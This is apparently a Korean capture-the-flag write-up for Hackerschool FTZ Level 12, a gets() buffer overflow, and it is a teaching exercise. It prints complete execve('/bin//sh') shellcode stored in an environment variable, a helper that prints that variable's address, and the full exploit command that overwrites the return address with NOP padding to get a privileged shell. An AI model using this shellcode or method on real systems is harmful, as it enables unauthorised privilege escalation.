0. 들어가기 전에
이것 또한 기본 BOF문제라고 할 수 있겠다. 11번과 다른 점은 gets를 사용한다는 점이다.
1. Level 12
접속하면 AttackMe 실행파일이 존재한다. 소스코드를 확인해보자.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main( void )
{
char str[256];
setreuid( 3093, 3093 );
printf( "문장을 입력하세요.\n" );
gets( str );
printf( "%s\n", str );
}
레벨 11과 다를 것 없는 구조다. 다른 점은 gets(str)을 이용해 입력을 받는다는 사실. gets()는 정말 위험한 함수니 내가 프로그래밍 할땐 절대 사용하지 않도록 해야겠다…
<환경변수 등록>
쉘코드는 4바이트짜리 return 에 들어가기는 너무 길다. 따라서 우린 “환경 변수"" 라는 친구를 만들어서 그 친구의 주소를 파악한 다음, 그 주소를 return 주소로 넘기도록 하겠다.
export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
//환경변수 등록
쉘코드는 인터넷에서 카피해오는게 제일 빠르다..
int main(){ //get.c
printf("%p\n", getenv("SHELLCODE"));
return 0;
}
//쉘코드의 위치를 알려줄 함수 작성
c파일을 gcc로 컴파일 했으면 실행해보자. 다음과 같은(유사한) 결과를 얻을 것이다.
./get => 0xbffffc8d
이제 이 주소를 little endian x90형식으로 변환시키면 된다. 이 경우에는 \x8d\xfc\xff\xbf 가 될 것이다. 그럼 이제 이 값을 return주소에 넣어주면 된다.
<버티컬바 ”|” 실행>
버티컬바 하나는 앞의 명령어 실행 결과를 뒤의 명령어의 입력으로(!) 넘긴다. 물론 먼저 attackme를 실행한 후 268개의 문자를 일일히 타자로 쳐도 되겠지만(…) 너무 귀찮은 작업이니 python -c를 사용하기 위해 cat으로 문장을 입력받은 다음 버티컬 바를 이용해서 이를 매개변수로 넘겨주도록 하자.
"\x90"*268+"\x8d\xfc\xff\xbf
(python -c 'print"\x90"*268+"\x8d\xfc\xff\xbf"'; cat) | ./attackme
비밀번호 : have no clue
Source
- 해커스쿨 FTZ
- Me!